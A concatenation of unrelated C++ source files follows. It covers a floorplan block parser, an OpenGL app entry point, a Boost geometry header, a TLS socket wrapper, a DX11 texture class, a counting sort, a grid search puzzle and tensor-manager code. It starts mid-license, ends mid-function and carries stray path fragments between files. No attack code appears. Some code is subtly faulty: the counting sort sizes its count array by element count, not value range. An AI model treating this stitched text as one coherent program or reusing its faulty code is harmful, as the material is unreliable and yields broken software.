USA *** *** Permission is hereby granted, free of charge, to any person obtaining *** a copy of this software and associated documentation files (the *** "Software"), to deal in the Software without restriction, including *** without limitation *** the rights to use, copy, modify, merge, publish, distribute, sublicense, *** and/or sell copies of the Software, and to permit persons to whom the *** Software is furnished to do so, subject to the following conditions: *** *** The above copyright notice and this permission notice shall be included *** in all copies or substantial portions of the Software. *** *** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, *** EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES *** OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. *** IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *** CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT *** OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR *** THE USE OR OTHER DEALINGS IN THE SOFTWARE. *** *** ***************************************************************************/ #include "mixedpacking.h" #include #include #include #include "basepacking.h" #include "parsers.h" using namespace parse_utils; using namespace basepacking_h; using std::cout; using std::endl; using std::max; using std::min; using std::string; using std::vector; const int MixedBlockInfoType::Orient_Num = HardBlockInfoType::Orient_Num; // -------------------------------------------------------- MixedBlockInfoType::MixedBlockInfoType(const string& blocksfilename, const string& format) : currDimensions(_currDimensions), blockARinfo(_blockARinfo), _currDimensions(0) { std::ifstream infile; infile.open(blocksfilename.c_str()); if (!infile.good()) { cout << "ERROR: cannot open file " << blocksfilename << endl; exit(1); } if (format == "txt") { // cout << "Sorry, .txt format isn't supported now." << endl; // exit(0); ParseTxt(infile); } else if (format == "blocks") ParseBlocks(infile); } // -------------------------------------------------------- void MixedBlockInfoType::ParseBlocks(std::ifstream& input) { char block_name[1024]; char block_type[1024]; char tempWord1[1024]; vector vertices; int numVertices; bool success; float width, height; float area, minAr, maxAr; int numSoftBl = 0; int numHardBl = 0; int numBl = numSoftBl + numHardBl; int numTerm = 0; int indexBlock = 0; int indexTerm = 0; if (!input) { cout << "ERROR: .blocks file could not be opened successfully" << endl; exit(0); } while (!input.eof()) { input >> tempWord1; if (!(strcmp(tempWord1, "NumSoftRectangularBlocks"))) break; } input >> tempWord1; input >> numSoftBl; while (!input.eof()) { input >> tempWord1; if (!(strcmp(tempWord1, "NumHardRectilinearBlocks"))) break; } input >> tempWord1; input >> numHardBl; while (!input.eof()) { input >> tempWord1; if (!(strcmp(tempWord1, "NumTerminals"))) break; } input >> tempWord1; input >> numTerm; numBl = numHardBl + numSoftBl; _currDimensions.in_blocks.resize(numBl + 2); _currDimensions.in_block_names.resize(numBl + 2); _blockARinfo.resize(numHardBl + numSoftBl + 2); while (!input.eof()) { block_type[0] = '\0'; eatblank(input); if (input.eof()) break; if (input.peek() == '#') eathash(input); else { eatblank(input); if (input.peek() == '\n' || input.peek() == '\r') { input.get(); continue; } input >> block_name; input >> block_type; if (!strcmp(block_type, "softrectangular")) { input >> area; input >> minAr; input >> maxAr; width = sqrt(area); height = sqrt(area); // printf("[%d]: area: %.2lf minAR: %.2lf maxAR: %.2lf // width: %.2lf height: %.2lf\n", // indexBlock, area, minAr, maxAr, width, height); _currDimensions.set_dimensions(indexBlock, width, height); if (indexBlock >= int(_currDimensions.block_names.size())) { cout << "ERROR: too many hard block specified." << endl; exit(1); } _currDimensions.in_block_names[indexBlock] = block_name; _blockARinfo[indexBlock].area = area; set_blockARinfo_AR(indexBlock, min(minAr, maxAr), max(minAr, maxAr)); _blockARinfo[indexBlock].isSoft = true; ++indexBlock; // cout<> numVertices; Point tempPoint; success = 1; if (numVertices > 4) cout << "ERROR in parsing .blocks file. rectilinear blocks can be " "only rectangles for now\n"; for (int i = 0; i < numVertices; ++i) { success &= needCaseChar(input, '('); input.get(); input >> tempPoint.x; success &= needCaseChar(input, ','); input.get(); input >> tempPoint.y; success &= needCaseChar(input, ')'); input.get(); vertices.push_back(tempPoint); } if (!success) cout << "ERROR in parsing .blocks file while processing " "hardrectilinear blocks" << endl; width = vertices[2].x - vertices[0].x; height = vertices[2].y - vertices[0].y; area = width * height; minAr = width / height; maxAr = minAr; _currDimensions.set_dimensions(indexBlock, width, height); if (indexBlock >= int(_currDimensions.block_names.size())) { cout << "ERROR: too many hard block specified." << endl; exit(1); } _currDimensions.in_block_names[indexBlock] = block_name; _blockARinfo[indexBlock].area = area; set_blockARinfo_AR(indexBlock, min(minAr, maxAr), max(minAr, maxAr)); _blockARinfo[indexBlock].isSoft = false; ++indexBlock; vertices.clear(); // cout<> numHardBl; size_t numBl = numHardBl; _currDimensions.in_blocks.resize(numBl + 2); _currDimensions.in_block_names.resize(numBl + 2); _blockARinfo.resize(numHardBl + 2); for (int i = 0; i < numBl; i++) { input >> block_name; input >> width >> height; input >> snapX >> snapY; input >> haloX >> haloY; input >> channelX >> channelY; area = width * height; minAr = width / height; maxAr = minAr; _currDimensions.set_dimensions(indexBlock, width, height, snapX, snapY, haloX, haloY, channelX, channelY); if (indexBlock >= int(_currDimensions.block_names.size())) { cout << "ERROR: too many hard block specified." << endl; exit(1); } _currDimensions.in_block_names[indexBlock] = block_name; _blockARinfo[indexBlock].area = area; set_blockARinfo_AR(indexBlock, min(minAr, maxAr), max(minAr, maxAr)); _blockARinfo[indexBlock].isSoft = false; ++indexBlock; } input >> numTerm; for (int i = 0; i < numTerm; i++) { input >> block_name; } _currDimensions.set_dimensions(numBl, 0, Dimension::Infty); _currDimensions.in_block_names[numBl] = "LEFT"; _blockARinfo[numBl].area = 0; _blockARinfo[numBl].minAR.resize(Orient_Num, 0); _blockARinfo[numBl].maxAR.resize(Orient_Num, 0); _blockARinfo[numBl].isSoft = false; _currDimensions.set_dimensions(numBl + 1, Dimension::Infty, 0); _currDimensions.in_block_names[numBl + 1] = "BOTTOM"; _blockARinfo[numBl + 1].area = 0; _blockARinfo[numBl + 1].minAR.resize(Orient_Num, Dimension::Infty); _blockARinfo[numBl + 1].maxAR.resize(Orient_Num, Dimension::Infty); _blockARinfo[numBl + 1].isSoft = false; } example-BasicController/src/main.cpp10-100 #include "ofMain.h" #include "ofApp.h" //======================================================================== int main() { ofLogToConsole(); //ofSetupOpenGL(1024,768,OF_WINDOW); // <-------- setup the GL context ofGLFWWindowSettings settings; settings.setSize(1024, 768); //settings.setGLVersion(2, 1); // GL2 //settings.setGLVersion(3, 2); // GL3 settings.setGLVersion(4, 6); // GL4 //settings.redBits = 8; //settings.greenBits = 8; //settings.blueBits = 8; //settings.alphaBits = 8; //settings.depthBits = 24; settings.stencilBits = 8; //settings.numSamples = 1; ofCreateWindow(settings); cout << "Vendor : " << glGetString(GL_VENDOR) << '\n'; cout << "GPU : " << glGetString(GL_RENDERER) << '\n'; cout << "OpenGL ver : " << glGetString(GL_VERSION) << '\n'; cout << "GLSL ver : " << glGetString(GL_SHADING_LANGUAGE_VERSION) << '\n'; // this kicks off the running of my app // can be OF_WINDOW or OF_FULLSCREEN // pass in width and height too: ofRunApp(new ofApp()); } 1000+ // Boost.Geometry (aka GGL, Generic Geometry Library) // Copyright (c) 2012-2019 , Amsterdam, the Netherlands. // Use, modification and distribution is subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef BOOST_GEOMETRY_ALGORITHMS_DETAIL_BUFFER_LINE_LINE_INTERSECTION_HPP #define BOOST_GEOMETRY_ALGORITHMS_DETAIL_BUFFER_LINE_LINE_INTERSECTION_HPP #include #include #include namespace boost { namespace geometry { #ifndef DOXYGEN_NO_DETAIL namespace detail { namespace buffer { // TODO: once change this to proper strategy // It is different from current segment intersection because these are not segments but lines // If we have the Line concept, we can create a strategy // Assumes a convex corner struct line_line_intersection { template static inline strategy::buffer::join_selector apply(Point const& pi, Point const& pj, Point const& qi, Point const& qj, Point& ip) { typedef typename coordinate_type::type ct; // Construct lines in general form (ax + by + c = 0), // (will be replaced by a general_form structure in a next PR) ct const pa = get<1>(pi) - get<1>(pj); ct const pb = get<0>(pj) - get<0>(pi); ct const pc = -pa * get<0>(pi) - pb * get<1>(pi); ct const qa = get<1>(qi) - get<1>(qj); ct const qb = get<0>(qj) - get<0>(qi); ct const qc = -qa * get<0>(qi) - qb * get<1>(qi); ct const denominator = pb * qa - pa * qb; // Even if the corner was checked before (so it is convex now), that // was done on the original geometry. This function runs on the buffered // geometries, where sides are generated and might be slightly off. In // Floating Point, that slightly might just exceed the limit and we have // to check it again. // For round joins, it will not be used at all. // For miter joins, there is a miter limit // If segments are parallel/collinear we must be distinguish two cases: // they continue each other, or they form a spike ct const zero = ct(); if (math::equals(denominator, zero)) { return parallel_continue(qb, -qa, pb, -pa) ? strategy::buffer::join_continue : strategy::buffer::join_spike ; } set<0>(ip, (pc * qb - pb * qc) / denominator); set<1>(ip, (pa * qc - pc * qa) / denominator); return strategy::buffer::join_convex; } }; }} // namespace detail::buffer #endif // DOXYGEN_NO_DETAIL }} // namespace boost::geometry #endif // BOOST_GEOMETRY_ALGORITHMS_DETAIL_BUFFER_LINE_LINE_INTERSECTION_HPP /** * @file tlsSocket.cpp * @author * @copyright (C) 2015 ACK CYFRONET AGH * @copyright This software is released under the MIT license cited in * 'LICENSE.md' */ #include "tlsSocket.hpp" #include "detail.hpp" #include "tlsApplication.hpp" #include #include #include #include #include #include namespace { std::vector certToDer(X509 *cert) { if (!cert) return {}; const auto dataLen = i2d_X509(cert, nullptr); if (dataLen < 0) return {}; std::vector certificateData(dataLen); auto p = certificateData.data(); if (i2d_X509(cert, &p) < 0) return {}; return certificateData; } } // namespace namespace one { namespace etls { TLSSocket::TLSSocket(TLSApplication &app, const std::string &keyPath, const std::string &certPath, std::string rfc2818Hostname) : detail::WithSSLContext{asio::ssl::context::tlsv12_client, keyPath, certPath, std::move(rfc2818Hostname)} , m_ioService{app.ioService()} , m_resolver{m_ioService} , m_socket{m_ioService, *m_context} { } TLSSocket::TLSSocket( TLSApplication &app, std::shared_ptr context) : detail::WithSSLContext{std::move(context)} , m_ioService{app.ioService()} , m_resolver{m_ioService} , m_socket{m_ioService, *m_context} { } void TLSSocket::connectAsync(Ptr self, std::string host, const unsigned short port, Callback callback) { m_resolver.async_resolve({std::move(host), std::to_string(port)}, [ this, self = std::move(self), callback = std::move(callback) ](const auto ec1, auto iterator) mutable { auto endpoints = this->shuffleEndpoints(std::move(iterator)); if (ec1) { callback(ec1); return; } asio::async_connect(m_socket.lowest_layer(), endpoints.begin(), endpoints.end(), [ this, self = std::move(self), callback = std::move(callback) ]( const auto ec2, auto) mutable { if (ec2) { callback(ec2); return; } m_socket.lowest_layer().set_option( asio::ip::tcp::no_delay{true}); m_socket.async_handshake(asio::ssl::stream_base::client, [ this, self = std::move(self), callback = std::move(callback) ](const auto ec3) mutable { if (ec3) { callback(ec3); } else { this->saveChain(false); callback(std::move(self)); } }); }); }); } void TLSSocket::recvAsync(Ptr self, asio::mutable_buffer buffer, Callback callback) { asio::post(m_ioService, [ =, self = std::move(self), callback = std::move(callback) ]() mutable { asio::async_read(m_socket, asio::mutable_buffers_1{buffer}, [ =, self = std::move(self), callback = std::move(callback) ]( const auto ec, const auto read) mutable { if (ec) callback(ec); else callback(std::move(buffer)); }); }); } void TLSSocket::recvAnyAsync(Ptr self, asio::mutable_buffer buffer, Callback callback) { asio::post(m_ioService, [ =, self = std::move(self), callback = std::move(callback) ]() mutable { m_socket.async_read_some(asio::mutable_buffers_1{buffer}, [ =, self = std::move(self), callback = std::move(callback) ]( const auto ec, const auto read) { if (ec) callback(ec); else callback(asio::buffer(buffer, read)); }); }); } void TLSSocket::handshakeAsync(Ptr self, Callback<> callback) { asio::post(m_ioService, [ =, self = std::move(self), callback = std::move(callback) ]() mutable { m_socket.async_handshake(asio::ssl::stream_base::server, [ =, self = std::move(self), callback = std::move(callback) ]( const auto ec) { if (ec) { callback(ec); } else { this->saveChain(true); callback(); } }); }); } void TLSSocket::shutdownAsync( Ptr self, const asio::socket_base::shutdown_type type, Callback<> callback) { asio::post(m_ioService, [ =, self = std::move(self), callback = std::move(callback) ]() mutable { std::error_code ec; m_socket.lowest_layer().shutdown(type, ec); if (ec) callback(ec); else callback(); }); } void TLSSocket::closeAsync(Ptr self, Callback<> callback) { asio::post(m_ioService, [ =, self = std::move(self), callback = std::move(callback) ]() mutable { std::error_code ec; m_socket.lowest_layer().shutdown( asio::ip::tcp::socket::shutdown_both, ec); m_socket.lowest_layer().close(ec); if (ec) callback(ec); else callback(); }); } void TLSSocket::setVerifyMode(const asio::ssl::verify_mode mode) { m_socket.set_verify_mode(mode); } void TLSSocket::saveChain(bool server) { auto ssl = m_socket.native_handle(); if (!ssl) return; auto chain = SSL_get_peer_cert_chain(ssl); if (!chain) return; decltype(m_certificateChain) certChain; auto numCerts = sk_X509_num(chain); for (auto i = 0u; i < numCerts; ++i) { auto cert = sk_X509_value(chain, i); auto certificateData = certToDer(cert); if (certificateData.empty()) return; certChain.emplace_back(std::move(certificateData)); } if (server) { auto cert = SSL_get_peer_certificate(ssl); auto certificateData = certToDer(cert); if (certificateData.empty()) return; certChain.emplace_back(std::move(certificateData)); } std::swap(m_certificateChain, certChain); } void TLSSocket::localEndpointAsync( Ptr self, Callback callback) { asio::post(m_ioService, [ =, self = std::move(self), callback = std::move(callback) ]() mutable { callback(m_socket.lowest_layer().local_endpoint()); }); } void TLSSocket::remoteEndpointAsync( Ptr self, Callback callback) { asio::post(m_ioService, [ =, self = std::move(self), callback = std::move(callback) ]() mutable { callback(m_socket.lowest_layer().remote_endpoint()); }); } const std::vector> & TLSSocket::certificateChain() const { return m_certificateChain; } std::vector> TLSSocket::shuffleEndpoints(asio::ip::tcp::resolver::iterator iterator) { static thread_local std::random_device rd; static thread_local std::default_random_engine engine{rd()}; std::vector endpoints; std::move(iterator, decltype(iterator){}, std::back_inserter(endpoints)); std::shuffle(endpoints.begin(), endpoints.end(), engine); return endpoints; } } // namespace etls } // namespace one #include #include #include #include #include namespace reaplus { Pan::Pan(double normalizedValue) : normalizedValue_(normalizedValue) { } Pan Pan::ofReaperValue(double reaperValue) { return Pan(helgoboss::util::mapValueInRangeToNormalizedValue(reaperValue, -1, 1)); } Pan Pan::ofPanExpression(const std::string& panExpression) { const double reaperValue = reaper::parsepanstr(panExpression.c_str()); return Pan::ofReaperValue(reaperValue); } double Pan::reaperValue() const { return helgoboss::util::mapNormalizedValueToValueInRange(normalizedValue_, -1, 1); } std::string Pan::toString() const { const double val = reaperValue(); return reaplus::toString(20, [val](char* buffer, int maxSize) { reaper::mkpanstr(buffer, val); }); } double Pan::normalizedValue() const { return normalizedValue_; } } /** * Name : CountingSort.cpp * Description : C++ program for implementation of Counting Sort * */ #include "CountingSort.hpp" /** * A method that is responsible for the calculation of actual * processing time and transitions number of the sorting program * according to type and size of the vector passed to the function * as an argument. * * A sorting algorithm used in the program is Counting Sort. * It uses a count array to store count of individual elements from the vector and then * builds the final sorted vector one item at a time. * */ void CountingSort::sort(std::vector toSort) { unsigned long long transitions = 0; clock_t start, stop; start = clock(); int countingArray[toSort.size()] = { 0 }; for (unsigned int i = 0; i < toSort.size(); i++) { countingArray[toSort[i]]++; transitions++; } int outputIndex = 0; for (unsigned int i = 0; i < toSort.size(); i++) { while (countingArray[i]--) { toSort[outputIndex++] = i; transitions++; } } stop = clock(); mTime = (double) (stop - start) / CLOCKS_PER_SEC; mTransitions = transitions; } #include "Precomp.h" #include "DX11Texture.h" #include "EnumConverter.h" using namespace ::CainEngine; using namespace ::CainEngine::Graphics; using namespace ::CainEngine::Graphics::DX11; DX11Texture::DX11Texture(com_ptr&& texture) : m_texture(move(texture)) { } DX11Texture::~DX11Texture() { } ResourceType DX11Texture::Type() const { COMMON_CALLSTACK_CALL; D3D11_RESOURCE_DIMENSION dimension; m_texture->GetType(&dimension); switch (dimension) { case D3D11_RESOURCE_DIMENSION_TEXTURE1D: return ResourceType::Tex1D; case D3D11_RESOURCE_DIMENSION_TEXTURE2D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE2D_DESC desc; tex->GetDesc(&desc); auto type = ResourceType::Tex2D; if ((desc.MiscFlags & D3D11_RESOURCE_MISC_TEXTURECUBE) != 0) { type = ResourceType::TexCube; } return type; } case D3D11_RESOURCE_DIMENSION_TEXTURE3D: return ResourceType::Tex3D; case D3D11_RESOURCE_DIMENSION_BUFFER: case D3D11_RESOURCE_DIMENSION_UNKNOWN: default: Common::FatalError("Unknown resource dimension"); } } API::Usage DX11Texture::Usage() const { COMMON_CALLSTACK_CALL; D3D11_RESOURCE_DIMENSION dimension; m_texture->GetType(&dimension); switch (dimension) { case D3D11_RESOURCE_DIMENSION_TEXTURE1D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE1D_DESC desc; tex->GetDesc(&desc); return EnumConverter::Convert(desc.Usage); } case D3D11_RESOURCE_DIMENSION_TEXTURE2D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE2D_DESC desc; tex->GetDesc(&desc); return EnumConverter::Convert(desc.Usage); } case D3D11_RESOURCE_DIMENSION_TEXTURE3D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE3D_DESC desc; tex->GetDesc(&desc); return EnumConverter::Convert(desc.Usage); } case D3D11_RESOURCE_DIMENSION_BUFFER: case D3D11_RESOURCE_DIMENSION_UNKNOWN: default: Common::FatalError("Unknown resource dimension"); } } uint3 DX11Texture::Size() const { COMMON_CALLSTACK_CALL; D3D11_RESOURCE_DIMENSION dimension; m_texture->GetType(&dimension); switch (dimension) { case D3D11_RESOURCE_DIMENSION_TEXTURE1D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE1D_DESC desc; tex->GetDesc(&desc); return { desc.Width, 1, 1 }; } case D3D11_RESOURCE_DIMENSION_TEXTURE2D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE2D_DESC desc; tex->GetDesc(&desc); return { desc.Width, desc.Height, 1 }; } case D3D11_RESOURCE_DIMENSION_TEXTURE3D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE3D_DESC desc; tex->GetDesc(&desc); return { desc.Width, desc.Height, desc.Depth }; } case D3D11_RESOURCE_DIMENSION_BUFFER: case D3D11_RESOURCE_DIMENSION_UNKNOWN: default: Common::FatalError("Unknown resource dimension"); } } PixelFormat DX11Texture::Format() const { COMMON_CALLSTACK_CALL; D3D11_RESOURCE_DIMENSION dimension; m_texture->GetType(&dimension); switch (dimension) { case D3D11_RESOURCE_DIMENSION_TEXTURE1D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE1D_DESC desc; tex->GetDesc(&desc); return EnumConverter::Convert(desc.Format); } case D3D11_RESOURCE_DIMENSION_TEXTURE2D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE2D_DESC desc; tex->GetDesc(&desc); return EnumConverter::Convert(desc.Format); } case D3D11_RESOURCE_DIMENSION_TEXTURE3D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE3D_DESC desc; tex->GetDesc(&desc); return EnumConverter::Convert(desc.Format); } case D3D11_RESOURCE_DIMENSION_BUFFER: case D3D11_RESOURCE_DIMENSION_UNKNOWN: default: Common::FatalError("Unknown resource dimension"); } } uint DX11Texture::ArraySize() const { COMMON_CALLSTACK_CALL; D3D11_RESOURCE_DIMENSION dimension; m_texture->GetType(&dimension); switch (dimension) { case D3D11_RESOURCE_DIMENSION_TEXTURE1D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE1D_DESC desc; tex->GetDesc(&desc); return desc.ArraySize; } case D3D11_RESOURCE_DIMENSION_TEXTURE2D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE2D_DESC desc; tex->GetDesc(&desc); return desc.ArraySize; } case D3D11_RESOURCE_DIMENSION_TEXTURE3D: return 1; case D3D11_RESOURCE_DIMENSION_BUFFER: case D3D11_RESOURCE_DIMENSION_UNKNOWN: default: Common::FatalError("Unknown resource dimension"); } } flag DX11Texture::BindFlags() const { COMMON_CALLSTACK_CALL; D3D11_RESOURCE_DIMENSION dimension; m_texture->GetType(&dimension); switch (dimension) { case D3D11_RESOURCE_DIMENSION_TEXTURE1D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE1D_DESC desc; tex->GetDesc(&desc); return EnumConverter::ConvertBindFlags(desc.BindFlags); } case D3D11_RESOURCE_DIMENSION_TEXTURE2D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE2D_DESC desc; tex->GetDesc(&desc); return EnumConverter::ConvertBindFlags(desc.BindFlags); } case D3D11_RESOURCE_DIMENSION_TEXTURE3D: { com_ptr tex; CHECK_HRESULT(m_texture->QueryInterface(mst::initialize(tex))); D3D11_TEXTURE3D_DESC desc; tex->GetDesc(&desc); return EnumConverter::ConvertBindFlags(desc.BindFlags); } case D3D11_RESOURCE_DIMENSION_BUFFER: case D3D11_RESOURCE_DIMENSION_UNKNOWN: default: Common::FatalError("Unknown resource dimension"); } } src/graphics/ConnectedTextures.cpp1-10 #include "stdafx.h" #include "graphics/ConnectedTextures.h" #ifndef VORB_USING_PCH #include #endif // !VORB_USING_PCH const size_t& vg::ConnectedTextureHelper::getOffsetFull(const size_t& neighbors) { return offsetsFull[neighbors]; } const size_t& vg::ConnectedTextureHelper::getOffsetSmall(const size_t& neighbors) { return offsetsSmall[neighbors]; } void vg::ConnectedTextureHelper::init() { memset(offsetsFull, 0, sizeof(offsetsFull)); offsetsFull[0xFF] = 0; offsetsFull[0xEF] = 1; offsetsFull[0xEE] = 2; offsetsFull[0xFE] = 3; offsetsFull[0xEB] = 4; offsetsFull[0xFA] = 5; offsetsFull[0xAB] = 6; offsetsFull[0xEA] = 7; offsetsFull[0x8A] = 8; offsetsFull[0xA2] = 9; offsetsFull[0x28] = 10; offsetsFull[0xA] = 11; offsetsFull[0xFB] = 12; offsetsFull[0xE3] = 13; offsetsFull[0xE0] = 14; offsetsFull[0xF8] = 15; offsetsFull[0xAF] = 16; offsetsFull[0xBE] = 17; offsetsFull[0xAE] = 18; offsetsFull[0xBA] = 19; offsetsFull[0x2A] = 20; offsetsFull[0xA8] = 21; offsetsFull[0xA0] = 22; offsetsFull[0x82] = 23; offsetsFull[0xBB] = 24; offsetsFull[0x83] = 25; offsetsFull[0] = 26; offsetsFull[0x38] = 27; offsetsFull[0xA3] = 28; offsetsFull[0xE8] = 29; offsetsFull[0x8B] = 30; offsetsFull[0xE2] = 31; offsetsFull[0x8] = 32; offsetsFull[0x2] = 33; offsetsFull[0x88] = 34; offsetsFull[0x22] = 35; offsetsFull[0xBF] = 36; offsetsFull[0x8F] = 37; offsetsFull[0xE] = 38; offsetsFull[0x3E] = 39; offsetsFull[0x8E] = 40; offsetsFull[0x3A] = 41; offsetsFull[0x2E] = 42; offsetsFull[0xB8] = 43; offsetsFull[0x20] = 44; offsetsFull[0x80] = 45; offsetsFull[0xAA] = 46; memset(offsetsSmall, 0, sizeof(offsetsSmall)); offsetsSmall[0x1 | 0x8] = 1; offsetsSmall[0x8] = 2; offsetsSmall[0x0] = 3; offsetsSmall[0x1 | 0x4 | 0x8] = 4; offsetsSmall[0x1 | 0x2 | 0x8] = 5; offsetsSmall[0x1 | 0x2 | 0x4 | 0x8] = 6; offsetsSmall[0x4 | 0x8] = 7; offsetsSmall[0x1 | 0x2] = 8; } size_t vg::ConnectedTextureHelper::offsetsFull[256]; size_t vg::ConnectedTextureHelper::offsetsSmall[32]; #include #include #include using namespace std; int main() { int m, n; scanf("%d%d", &m, &n); auto a = new char*[m]; for(int i = 0; i < m; i++) { a[i] = new char[n + 1]; scanf("%s", a[i]); } queue> q; for(int i = 0; i < n; i++) { if(a[0][i] == '0') { q.push({ 0, i }); while(!q.empty()) { auto const now = q.front(); q.pop(); if(a[now.first][now.second] == '1') continue; a[now.first][now.second] = '1'; if(now.first == m - 1) { printf("YES"); return 0; } if(now.first && a[now.first - 1][now.second] != '1') { q.push({ now.first - 1, now.second }); } if(now.second && a[now.first][now.second - 1] != '1') { q.push({ now.first, now.second - 1 }); } if(now.first < m - 1 && a[now.first + 1][now.second] != '1') { q.push({ now.first + 1, now.second }); } if(now.second < n - 1 && a[now.first][now.second + 1] != '1') { q.push({ now.first, now.second + 1 }); } } } } printf("NO"); }/* * Copyright (c) 2021 Samsung Electronics Co., Ltd. All Rights Reserved * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "ClTensorManager.h" #include #include namespace onert { namespace backend { namespace gpu_cl { TensorManager::TensorManager(MemoryManager *const_mgr, MemoryManager *nonconst_mgr) : _const_mgr{const_mgr}, _nonconst_mgr{nonconst_mgr} { // DO NOTHING } void TensorManager::allocateConsts(void) { _const_mgr->allocate(); } void TensorManager::allocateNonconsts(void) { _nonconst_mgr->allocate(); } void TensorManager::deallocateConsts(void) { _const_mgr->deallocate(); } void TensorManager::deallocateNonconsts(void) { _nonconst_mgr->deallocate(); } void TensorManager::buildTensor(const ir::OperandIndex &ind, const ir::OperandInfo &info, tflite::gpu::cl::InferenceContext::CreateInferenceInfo create_info, std::shared_ptr environment, tflite::gpu::cl::DeviceInfo &device_info, TensorType type) { assert(_ind_to_mgr.find(ind) == _ind_to_mgr.end()); if (info.isConstant()) { _const_mgr->buildTensor(ind, info, create_info, environment, device_info, type); _ind_to_mgr.insert({ind, *_const_mgr}); } else { _nonconst_mgr->buildTensor(ind, info, create_info, environment, device_info, type); _ind_to_mgr.insert({ind, *_nonconst_mgr}); } } void TensorManager::startLifetime(const ir::OperandIndex &ind) { assert(_ind_to_mgr.find(ind) != _ind_to_mgr.end()); _ind_to_mgr.at(ind).startLifetime(ind); } void TensorManager::finishLifetime(const ir::OperandIndex &ind) { assert(_ind_to_mgr.find(ind) != _ind_to_mgr.end()); _ind_to_mgr.at(ind).finishLifetime(ind); } std::shared_ptr TensorManager::at(const ir::OperandIndex &ind) { if (_ind_to_mgr.find(ind) == _ind_to_mgr.end()) return nullptr; auto &tensors = _ind_to_mgr.at(ind).tensors(); if (tensors.find(ind) != tensors.end()) { return tensors.at(ind); } return nullptr; } ir::OperandIndexMap> &TensorManager::constTensors(void) { return _const_mgr->tensors(); } ir::OperandIndexMap> &TensorManager::nonconstTensors(void) { return _nonconst_mgr->tensors(); } std::shared_ptr TensorManager::atR(const ir::OperandIndex &ind) { if (_nonconst_mgr->tensorReservers().HaveTensor(ind.value())) { return _nonconst_mgr->tensorReservers().Get(ind.value()); } else if (_const_mgr->tensorReservers().HaveTensor(ind.value())) { return _const_mgr->tensorReservers().Get(ind.value()); } return nullptr; } InferenceContextEx::TensorReserverEx &TensorManager::constTensorReservers(void) { return _const_mgr->tensorReservers(); } InferenceContextEx::TensorReserverEx &TensorManager::nonconstTensorReservers(void) { return _nonconst_mgr->tensorReservers(); } void TensorManager::iterate(const std::function &fn) { for (auto it : _nonconst_mgr->tensors()) fn(it.first); for (auto it : _const_mgr->tensors()) fn(it.first); } void TensorManager::tryDeallocConstants(void) { // NYI } } // namespace gpu_cl } // namespace backend } // namespace onert sofa-framework/issofamodules/SofaUserInteraction/FixParticlePerformer.inl /****************************************************************************** * SOFA, Simulation Open-Framework Architecture, development version * * (c) 2006-2017 INRIA, USTL, UJF, CNRS, MGH * * * * This program is free software; you can redistribute it and/or modify it * * under the terms of the GNU Lesser General Public License as published by * * the Free Software Foundation; either version 2.1 of the License, or (at * * your option) any later version. * * * * This program is distributed in the hope that it will be useful, but WITHOUT * * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * * FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License * * for more details. * * * * You should have received a copy of the GNU Lesser General Public License * * along with this program. If not, see . * ******************************************************************************* * Authors: The SOFA Team and external contributors (see Authors.txt) * * * * Contact information: * ******************************************************************************/ #include #include #include #include #include #include #include #include #include #include namespace sofa { namespace component { namespace collision { template void FixParticlePerformer::start() { const BodyPicked &picked=this->interactor->getBodyPicked(); helper::vector points; typename DataTypes::Coord fixPoint; MouseContainer* mstateCollision=getFixationPoints(picked, points, fixPoint); if (!mstateCollision || points.empty()) { std::cerr << "Model not supported!" << std::endl; return; } simulation::Node* nodeCollision = static_cast(mstateCollision->getContext()); simulation::Node::SPtr nodeFixation = nodeCollision->createChild("FixationPoint"); fixations.push_back( nodeFixation.get() ); //Create the Container of points typename MouseContainer::SPtr mstateFixation = sofa::core::objectmodel::New< MouseContainer >(); mstateFixation->resize(1); { helper::WriteAccessor > xData = *mstateFixation->write(core::VecCoordId::position()); xData.wref()[0] = fixPoint; } nodeFixation->addObject(mstateFixation); //Fix all the points typename projectiveconstraintset::FixedConstraint::SPtr fixFixation = sofa::core::objectmodel::New< projectiveconstraintset::FixedConstraint >(); fixFixation->f_fixAll.setValue(true); 